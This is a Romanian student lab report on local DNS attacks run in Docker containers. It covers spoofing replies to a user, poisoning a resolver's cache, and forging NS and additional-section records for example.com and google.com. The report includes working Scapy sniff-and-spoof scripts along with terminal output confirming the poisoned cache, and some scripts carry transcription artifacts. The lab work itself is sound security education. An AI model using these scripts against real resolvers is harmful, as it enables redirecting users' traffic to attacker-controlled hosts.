Raport pentru lucrarea 8: Atacul asupra DNS local

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Setarea mediului

- Pentru a crea mediul local de simulare a atacului DNS a fost nevoie de crearea celor 4 containere docker: unul pentru victima, unul pentru serverul DNS local și 2 pentru atactor
- am rulat comand debuild urmat de deup pentru construirea containerelor necesare şi pornirea lor

```
• [05/02/23]seed@VM:~/.../Birlutiu_Claudiu_Cod$ dcbuild
Router uses an image, skipping
Building local-server
Step 1/4: FROM handsonsecurity/seed-server:bind
bind: Pulling from handsonsecurity/seed-server
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
2c821fdd764b: Pull complete
Digest: sha256:e41ad35fe34590ad6c9ca63aleab3b7e66796c326a4b2192de34fa30a15fe643
Status: Downloaded newer image for handsonsecurity/seed-server:bind
---> bbf95098dacf
Step 2/4: COPY named.conf /etc/bind/
---> fda58fb9cfac
Step 3/4: COPY named.conf.options /etc/bind/
---> 2fdlc03c0188
Step 4/4: CMD service named start && tail -f /dev/null
---> Running in 148a0649ccfd
Removing intermediate container 148a0649ccfd
---> 8723fdecc2dd
Successfully built 8723fdecc2dd
```

```
O [05/02/23]seed@VM:~/.../Birlutiu_Claudiu_Cod$ dcup
Creating network "net-10.8.0.0" with the default driver
Creating seed-attacker ... done
Creating local-dns-server-10.9.0.53 ... done
Creating user-10.9.0.5 ... done
Creating attacker-ns-10.9.0.153 ... done
Creating seed-router ... done
Attaching to seed-attacker, user-10.9.0.5, local-dns-server-10.9.0.53, attacker-ns-10.9.0.153, seed-router
attacker-ns-10.9.0.153 | * Starting domain name service... named [ OK ]
local-dns-server-10.9.0.53 | * Starting domain name service... named [ OK ]
```

 de remarcat este ca la configurarea container-ului pentru atacator avem setat network_mode la host pentru a putea vedea pachetele din alte containere

```
attacker:

image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:

- ALL
privileged: true
volumes:

- ./volumes:/volumes
network_mode: host
```

• în acest caz, containerul attacker este configurat astfel încât vede toate interfetele de retea ale gazdei si chiar areaceleasi adrese IP ca si gazda.

În ceea ce prveste containerul pentru DNS:

observam ca în fișierul name.conf.options avem fixat portul sursa 33333

```
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
query-source port 33333;
```

- de asemenea observam ca a fost dezactivat sistemul de protecția dnssec
- am observat de asemenea în fișierul name.conf configurarea domeniului attacker32.com, car în momentul în care este accesat se va face o redirectare spre serverul de domeniu din containerul atacatorului

ASPECTE CONTAINER USER

• în fișierul resolv.conf regasim faptul ca serverul 10.9.0.53 este adaugat primul ca server de nume și va juca rolul de dns -server

ASPECTE CONTAINER SERVER NUME ATACATOR

- în acesta în fișierul named.conf sunt declarate 2 zone:
 - zona legitima a atacatorului attacker32.com
 - zona falsa example.com

TESTARE CONFIGURARI

- m-am conectat la containerul user; am rulat comanda *dig ns.attacker32.com* și am obitnut rezultatele din
- comanda dig se folosește pentru a interoga serverele DNS și pentru a obține informații despre adresele IP, recordurile DNS și alte informații de rețea.
- Deoarece în serverul dns e configurat faptul să se facă o redirectionare spre dns server al atacatorului -> obținem informații din fiserul attacker32.com.zone

```
root@ead5660dbfcf:/# dig ns.attacker32.com
; <>>> DiG 9.16.1-Ubuntu <>>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31405
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
:: OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a881be07aab0c2d6010000006451f28fb10ab252de3fecd9 (good)
;; QUESTION SECTION:
;ns.attacker32.com.
                               IN
;; ANSWER SECTION:
ns.attacker32.com.
                       259200 IN
                                       Α
                                               10.9.0.153
;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 03 05:35:11 UTC 2023
;; MSG SIZE rcvd: 90
root@ead5660dbfcf:/#
```

 în continuare am rulat comand dig <u>www.example.com</u> și am observat faptul ca obținem un ip public, deci cererea a fost trimisa către serverul oficial de nume al domain name-ului example.com

```
root@ead5660dbfcf:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33287
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 01b5ad2f4069654d010000006451f4dfda7f495312500cfb (good)
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 86400 IN A 93.184.216.34
;; Query time: 756 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 03 05:45:03 UTC 2023
;; MSG SIZE rcvd: 88
root@ead5660dbfcf:/#</pre>
```

- dacă punem dig @ns.attacker32.com www.example.com
 - interoghează serverul DNS specificat prin "ns.attacker32.com" pentru a obține informații despre adresa IP asociată cu domeniul "www.example.com"
 - obținem ip-ul din zone_example.com din serverul de nume al atacatorului

```
root@ead5660dbfcf:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28368
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cffd0ec68e6fd0d3010000006451f67488a9be3672bd158d (good)
;; QUESTION SECTION:
;www.example.com. IN A

;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed May 03 05:51:48 UTC 2023
;; MSG SIZE rcvd: 88

root@ead5660dbfcf:/#
```

Sarcini de atac

Sarcina 1: Falsificarea directă a răspunsului dat utilizatorului

 In prima faza m-am conectat pe containerul atacatorului si am rulat ifconfig pentru a vedea interfata pentru 10.9.0.0 pentru a modifica fisierul dns_sniff_spoof.py

```
# Sniff UDP query packets and invoke spoof_dns().

f = 'udp and dst port 53'

pkt = sniff(iface='br-leella57le21', filter=f, prn=spoof_dns)

PROBLEMS 16 OUTPUT DEBUGCONSOLE TERMINAL

br-leella57le21: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500

inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255

inet6 fe80::42:9dff:fe40:a100 prefixlen 64 scopeid 0x20link> ether 02:42:9d:40:a1:00 txqueuelen 0 (Ethernet)

RX packets 789 bytes 180341 (180.3 KB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 888 bytes 111966 (111.9 KB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Fisierul de atac arata in felul urmator; am preluat informatia din fisierul dns sniff spoof.py pus la dispozitie in laborator si am facut pentru example.com

```
from scapy.all import *
    def spoof dns(pkt):
       if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
        print (pkt.sprintf("{DNS: %IP.src% -->%IP.dst%:%DNS.id%}"))
         IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
         Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                     ttl=259200, rdata='10.0.2.5')
         DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                      qdcount=1, ancount=1, nscount=2, arcount=2,
19
                      an=Anssec)
20
         spoofpkt = IPpkt/UDPpkt/DNSpkt
22
        send(spoofpkt)
     f = 'udp and dst port 53'
     pkt = sniff(iface='br-lee1la57le21', filter=f, prn=spoof dns)
```

- rulam programul dns_sniff_spoof_example_com.py creat (cel de sus) din containerul atacatorului
- in prima faza observam ca atacatprul a interceptat cererea DNS si chiar daca a trimis un pachet ca raspuns, userul a primit raspuns mai rapid de la serverul de nume real al domeniul www.example.com

```
sniff_spoof_example_com.py
                                                                                              DiG 9.16.1-Ubuntu <>>> www.example.com
 oot@VM:/volumes# ./dns_snif
10.9.0.5 -->10.9.0.53:22276
                                                                                        global options: +cmd
                                                                                     ;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22276
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
Sent 1 packets. \sqcap
                                                                                     ;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 44bf07ecf07ec50a0100000064520100ef44ed9dba456c5c (good)
                                                                                     ;; QUESTION SECTION:
                                                                                     :www.example.com.
                                                                                                                                  IN
                                                                                     ;; ANSWER SECTION:
                                                                                                                                                         93.184.216.34
                                                                                     www.example.com.
                                                                                     ;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
                                                                                        WHEN: Wed May 03 06:36:48 UTC 2023
                                                                                     ;; MSG SIZE rcvd: 88
                                                                                     root@ead5660dbfcf:/# []
```

- pentru a remedia problema, am aplicat sugestiile din laborator prin care incetinesc traficul de internet
 - gasim in prima faza interfata pentru 10.8.0.0 si aceasta e eth0

```
[05/03/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ dockps
749f9a807a40 local-dns-server-10.9.0.53
ead5660dbfcf user-10.9.0.5
9a94e6122ea1 seed-router
79150c48fa28 seed-attacker
6daae191177e attacker-ns-10.9.0.153

[05/03/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ docksh 9a94e6122ea1
root@9a94e6122ea1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.8.0.11 netmask 255.255.255.0 broadcast 10.8.0.255
    ether 02:42:0a:08:00:0b txqueuelen 0 (Ethernet)
    RX packets 198 bytes 43496 (43.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 96 bytes 7384 (7.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

 al doilea pas este executia comenzii tc pe eth0: tc qdisc add dev eth0 root netem delay 100ms

```
root@9a94e6122ea1:/# tc qdisc add dev eth0 root netem delay 100ms
root@9a94e6122ea1:/# ■
```

facem clear la dns-ul local

```
○ [05/06/23]seed@VM:~/.../BirlutiuClaudiuAndrei$ docksh 749f9a807a40 root@749f9a807a40:/# rndc flush root@749f9a807a40:/#
```

 executam comanda dq si observam ca nu se va mai ajunge la serverul de nume real al domeniului example.com ci la atacator

```
root@ead5660dbfcf:/# dig www.example.com
;; Warning: Message parser reports malformed message packet.
nt 1 packets
 .9.0.5 -->10.9.0.53:60815
                                                                                        ; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
nt 1 packets.
0.9.0.5 -->10.9.0.53:42158
                                                                                        ;; global options: +cmd
;; Got answer:
                                                                                       ;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42158
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
nt 1 packets.
0.9.0.53 -->199.43.133.53:29016
                                                                                       ;; QUESTION SECTION:
nt 1 packets.
0.9.0.53 -->199.43.133.53:45703
                                                                                       ;; ANSWER SECTION: www.example.com.
nt 1 packets.
0.9.0.53 -->199.43.135.53:62938
                                                                                                                           259200 IN A
                                                                                                                                                                 10.0.2.5
                                                                                       ;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 07:02:13 UTC 2023
;; MSG SIZE rcvd: 64
nt 1 packets.
0.9.0.53 -->199.43.135.53:38159
it 1 packets.
                                                                                        root@ead5660dbfcf:/#
```

Sarcina 2: Atacul cu otrăvirea cache DNS - falsificarea răspunsurilor

- Dezavantajul solutiei anterioare este faptul ca de fiecare data ca nd masina utilizatorului trimite o interogare DNS pentru domeniul <u>www.example.com</u>, masina atacatorului trebuie sa trimita DNS-ul falsificat – metoda ineficienta
- o metoda mult mai buna este de a ca tinit serverul DNS, in locul containerului utilizator; severul DNS cauta prima data in cache, iar apoi va incerca sa gaseasca raspunsuri de la alte servere DNS → atacatorul poate falsifica raspunsul de la alte servere DNS, iar serverul local va pastra in cache acest raspuns
 - atacatorul va putea sa falsifice doar o data, iar serverul local va pastra in cache informatia pana cand este setata sa expire → atacul se numeste otravirea cache DNS
- am modificat filtrul pentru capturarea cererilor DNS din partea server-ului de nume local DNS care ruleaza pe 10.9.0.53 se poate observa in fisierul dns_example_com_cache.py

```
from scapy.all import *
def spoof dns(pkt):
 if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
   pkt.show()
   IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   # The Answer Section
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                ttl=259200, rdata='10.0.2.5')
   DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
            qdcount=1, ancount=1, nscount=0, arcount=0,
                an=Anssec)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
   send(spoofpkt)
规 Sniff UDP query packets and invoke spoof dns() - atacam serverul local de dns
pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof_dns)
```

am curatat cache-ul din server-ul local de DNS

```
root@19b9c9443b22:/# rndc flush
```

 am rulat scriptul dns_example_com_cache.py pe containerul atacatorului si am rulat comanda dig www.example.com pe containerul user pentru a vedea daca a fost pacalit si observam ca ip—ul returnat e cel din query

```
root@VM:/volumes# ./dns_example_com_cache.py
###[ Ethernet ]###
dst = 02:42:0a:09:00:0b
src = 02:42:0a:09:00:35
                                                                                        root@2d3996ef2d85:/# dig www.example.com
                                                                                        ; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
                                                                                        ;; global options: +cmd
                                                                                        ;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14513
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
   type =
#[IP]###
                       = 5
= 0x0
                                                                                        ;; OPT PSEUDOSECTION:
                                                                                        ;; OPF PSEUDUSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5eb9377fc5f7510201000000645652b8d3bc6a96ef993461 (good)
;; QUESTION SECTION:
        id
flags
                       = 24027
                                                                                        ;www.example.com.
                                                                                        ;; ANSWER SECTION: www.example.com.
        proto = udp
chksum = 0xc61f
                                                                                                                             259200 IN
                                                                                                                                                                    10.0.2.5
                       = 10.9.0.53
                                                                                        ;; Query time: 1860 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 13:14:32 UTC 2023
;; MSG SIZE rcvd: 88
        dst
                       = 199.43.133.53
###[ UDP ]###
                            = 33333
                           = domain
             dport
                                                                                        root@2d3996ef2d85:/#
                           = 0x56f0
```

 am verificat cache-ul de pe serverul local de dns si observam ca a fost adaugata intrarea in cache. Astfel, la rularile urmataoare a comenzii dig am observat ca nu se va mai ajunge sa se ajunga sa faca interogare serverul de nume local in exterior, ci se va uita in cache

```
root@19b9c9443b22:/# rndc flush
root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"

example.com. 777129 NS ns.attacker.com.

www.example.com. 863530 A 10.0.2.5
root@19b9c9443b22:/#
```

Sarcina 3: Falsificarea înregistrărilor NS

- Atacul anterior afecta doar un un nume gazda, (<u>www.example.com</u>), pentru a lansa un atac care poate afecta intregul domeniu example.com vom adauga un nou header in raspunssul atacatorului care include si authority section
- lansarea unui astfel de atac consta in adaugarea ns.attacker32.com ca server de nume care va fi folosit pentru interogari viitoare ale oricarui nume de gazda din domeniul example.com
- am creat fisierul dns_example_com_task_3.py unde am adaugat si authority section

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > 💠 dns_example_com_task_3.py > 😚 spoof_dns
      #!/usr/bin/env python3
      from scapy.all import *
      def spoof dns(pkt):
        #dacă numele de domeniu interogat (QNAME) în cadrul pachetului este "www.example.com"
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
          IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
          # Swap the source and destination port number
          UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
          Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
              ttl=259200, rdata='10.0.2.5')
          # Adaugarea campului de authority pentru example.com
          NS example = DNSRR(rrname='example.com', type='NS',
                       ttl=259200, rdata='ns.attacker32.com')
 18
          DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                       qdcount=1, ancount=1, nscount=1, arcount=0,
                       an=Anssec, ns=NS example)
          spoofpkt = IPpkt/UDPpkt/DNSpkt
          send(spoofpkt)
      # Sniff UDP query packets and invoke spoof dns() - atacam serverul local de dns
      f = 'udp and src host 10.9.0.53 and dst port 53'
      pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof dns)
```

 am facut clean la memoria cache a serverului local de DNS si am exectuat codul de atac pe containerul ataactorului si am rulat comanda dig pe containerul user

```
PROBLEMS 66
                                      TERMINAL
                                                           ;; QUESTION SECTION:
                          = D0
               rdlen
                         = None
                                                           ;www.example.com.
                                                                                             IN
                \rdata
                 ###[ DNS EDNS0 TLV ]###
                                                          ;; ANSWER SECTION:
                   optcode = 10
                                                           www.example.com.
                                                                                    259200 IN
                                                                                                              10.0.2.5
                   optlen
                              = 8
                                                          ;; Query time: 60 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
                             = 'mo\xf1\x81\xdbZ\x0b
                   optdata
                                                           ;; WHEN: Sat May 06 13:43:53 UTC 2023
                                                           ;; MSG SIZE rcvd: 88
 ent 1 packets.
                                                           root@2d3996ef2d85:/# □
```

 si observmam ca in cache avem adaugat domeniul example.com iar serverul de nume atasat este ns.attacker32.com

```
root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"
example.com. 777564 NS ns.attacker32.com.
www.example.com. 863987 A 10.0.2.5
root@19b9c9443b22:/# [
```

 am lansat in executie si comanda mail.example.com si a observat ca s-a interogat serverul de nume al atacatorului (ns.attacker32.com)

```
root@2d3996ef2d85:/# dig mail.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29350
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
 EDNS: version: 0, flags:; udp: 4096
; C00KIE: 43affdc60c3cb6c30100000064565a00b3a78314944f39a5 (good)
;; QUESTION SECTION:
;mail.example.com.
                                   IN
                                            Α
;; ANSWER SECTION:
                                                      1.2.3.6
mail.example.com.
                           259200
                                   IN
;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 13:45:36 UTC 2023
;; MSG SIZE rcvd: 89
root@2d3996ef2d85:/# dig ftp.example.com
```

Sarcina 4: Falsificarea înregistrărilor NS pentru alt domeniu

- Am reusit inainte sa setez ns.attacker32.com ca server de nume pentru domeniul example.com
- in dns_example_com_task_4.py am facut modificarile corespunzatoare pentru un atac prin care falsificam si serverul de nume pentru al domeniu cum ar fi cel pentru google.com

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > 🌳 dns_example_com_task_4.py > 😭 spoof_dns > 💜 NS_google
      from scapy.all import *
      def spoof dns(pkt):
        #verificăm dacă un pachet de retea (pkt) utilizează protocolul DNS și
        #dacă numele de domeniu interogat (QNAME) în cadrul pachetului este "www.example.com"
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
          pkt.show()
          IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
          UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
          Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                ttl=259200, rdata='10.0.2.5')
          # Adaugarea campului de authority pentru example.com
          NS example = DNSRR(rrname='example.com', type='NS',
                         ttl=259200, rdata='ns.attacker32.com')
          # adaugam un nou domeniu pe care sa il fasificam de exemplu google.com
          NS google = DNSRR(rrname='google.com', type='NS',
 20
                         ttl=259200, rdata='ns.attacker32.com')
          DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                       qdcount=1, ancount=1, nscount=2, arcount=0,
                       an=Anssec, ns=NS example/NS google)
          spoofpkt = IPpkt/UDPpkt/DNSpkt
          send(spoofpkt)
      f = 'udp and src host 10.9.0.53 and dst port 53'
      pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof dns)
```

 stergem cache-ul din serverul de nume local, lansam in executie scriptul dns_example_com_task_4.py si exceutam interogari de tipul dig pe containerul user

```
root@2d3996ef2d85:/# dig www.example.com
               ###[ DNS Resource Record ]###
                  rrname = 'www.example.com.'
type = A
rclass = IN
                                                                                        ; <<>> DiG 9.16.1-Ubuntu <<>>> www.example.com ;; global options: +cmd
                                                                                       ;; Got answer:
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62073
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
                 ttl
rdlen
                                 = 259200
= None
                                                                                       ;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8601dlac05bccc04010000006456652193dc8d55e30577d0 (good)
               ###[ DNS Resource Record ]###
                               = 'example.com'
= NS
= IN
                  rrname
                  type
rclass
ttl
                                                                                        ;; QUESTION SECTION:
                                                                                       ;www.example.com.
                                 = 259200
               rdlen = None
rdata = 'ns.attacker32.com'
###[ DNS Resource Record ]###
rrname = 'google.com'
type = NS
                                                                                       ;; ANSWER SECTION: www.example.com.
                                                                                                                              259200 IN A
                                                                                                                                                                  10.0.2.5
                 type = N5
rclass = IN
++1 = 259200
                                                                                       ;; Query time: 1932 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 14:33:05 UTC 2023
;; MSG SIZE rcvd: 88
                 ttl
rdlen
                                 = None
                 rdata -
Rone = None
                                 = 'ns.attacker32.com'
                                                                                        root@2d3996ef2d85:/#
Sent 1 packets.
```

 observam ca s-a pus si domeniu; google.com la serverul de nume ns.attacker32.com

```
root@19b9c9443b22:/# rndc dumpdb -cache
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "google.com"
google.com. 863990 NS ns.attacker32.com.
```

NU A MERS pur si simplu, doar prin inversare

Sarcina 5: Falsificarea înregistrărilor din secțiunea Additional

- In cadrul acestei sarcini incercam sa adaugam un additional section cu niste valori pe care dorim sa le punem in DNS cache (de exemplu sa falsificam serverul de nume pentru facebook.com) - o sa vedem ca nu se poate
- · am creat urmatorul scritp python cu aditional section-ul mentionat

```
L08 > Birlutiu_Claudiu_L08 > Birlutiu_Claudiu_Cod > volumes > 💠 dns_example_com_task_5.py > 😭 spoof_dns
        if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
          pkt.show()
          IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
         UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
          Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                      ttl=259200, rdata='10.0.2.5')
          NS example 1 = DNSRR(rrname='example.com.', type='NS',
             ttl=259200, rdata='ns.attacker32.com')
          NS example 2 = DNSRR(rrname='example.com.', type='NS',
            ttl=259200, rdata='ns.example.com')
        Addsec1 = DNSRR(rrname='ns.attacker32.com.', type='A',
          Addsec2 = DNSRR(rrname='ns.example.net.', type='A',
          Addsec3 = DNSRR(rrname='www.facebook.com.', type='A',
 30
           # Construct the DNS packet
          DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                       qdcount=1, ancount=1, nscount=2, arcount=3,
                      an=Anssec, ns=NS example 1/NS example 2, ar=Addsec1/Addsec2/Addsec3)
          spoofpkt = IPpkt/UDPpkt/DNSpkt
          spoofpkt.show()
          send(spoofpkt)
      f = 'udp and src host 10.9.0.53 and dst port 53'
      pkt = sniff(iface='br-8eb738e511da', filter=f, prn=spoof dns)
```

 am sters cache-ul din serverul local de DNS si am executat scriptul de mai sus in containerul atacatorului; aceeasi interogare pusa in containerul user (dig <u>www.example.com</u>)

```
root@2d3996ef2d85:/# dig www.example.com
###[ DNS Resource Record ]###
                                                                ; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
   rrname
                    'www.example.com.'
                                                                ;; global options: +cmd
  type
rclass
                = A
= IN
                                                                ;; Got answer:
                                                               ,, oot diswell.
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28548
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
                 = 259200
  rdlen
                 = None
                                                               ;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 11dc4f692373ea0a01000000645675c90bdd73f27a6ccc8a (good)
                = 10.0.2.5
  rdata
###[ DNS Resource Record ]###
                = 'example.com.'
= NS
                                                                ;; QUESTION SECTION:
                                                                                                             IN
  type
rclass
                                                                :www.example.com.
                                                                ;; ANSWER SECTION:
                = 259200
                = None
                                                                                                 259200 IN
                                                                                                                                  10.0.2.5
                                                               www.example.com.
                 = 'ns.attacker32.com'
   rdata
                                                               ;; Query time: 84 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat May 06 15:44:09 UTC 2023
;; MSG SIZE rcvd: 88
###[ DNS Resource Record ]###
  rrname = 'example.com.'
  type = NS
  type
rclass
  ttl
rdlen
                                                                root@2d3996ef2d85:/#
                = None
  rdata
                = 'ns.example.com'
|###[ DNS Resource Record ]###
| rrname = 'ns.attacker32.com.'
  type
rclass
ttl
rdlen
                = A
= IN
                = 259200
               = None
= 1.2.3.4
###[ DNS Resource Record ]###
rrname = 'ns.example.net.'
               = A
= IN
  rclass
                = 259200
   rdlen
                = None
   rdata
###[ DNS Resource Record ]###
   rrname
                = 'www.facebook.com.'
  type
rclass
ttl
                = IN
                = 259200
   rdlen
                = None
= 3.4.5.6
   rdata
```

cautam in cache daca s-au adaugat valorile dorite

```
root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "example.com"

example.com. 777518 NS ns.example.com.

www.example.com. 863927 A 10.0.2.5

root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "attacker32.com"

777518 NS ns.attacker32.com.

root@19b9c9443b22:/# cat /var/cache/bind/dump.db | grep "facebook.com"

root@19b9c9443b22:/#
```

- ceea ce s-a adaugat este la domeniul example.com cele 2 servere de nume ce pot fi interogate pentru a accesa ip-ul domeniului (ns.example.com su ns.attacker.com) deoarece acestea au fost adaugate in sectiunea de authority
- in schimb, toate cele 3 intrari pe care le-am dorit sa le adaugam in cache (attacker32.com., ns.example.net. Si www.facebook.com) nu sau salvat in cache, ci au fost ignorate, doarece nu faceau referire la domeniul example.com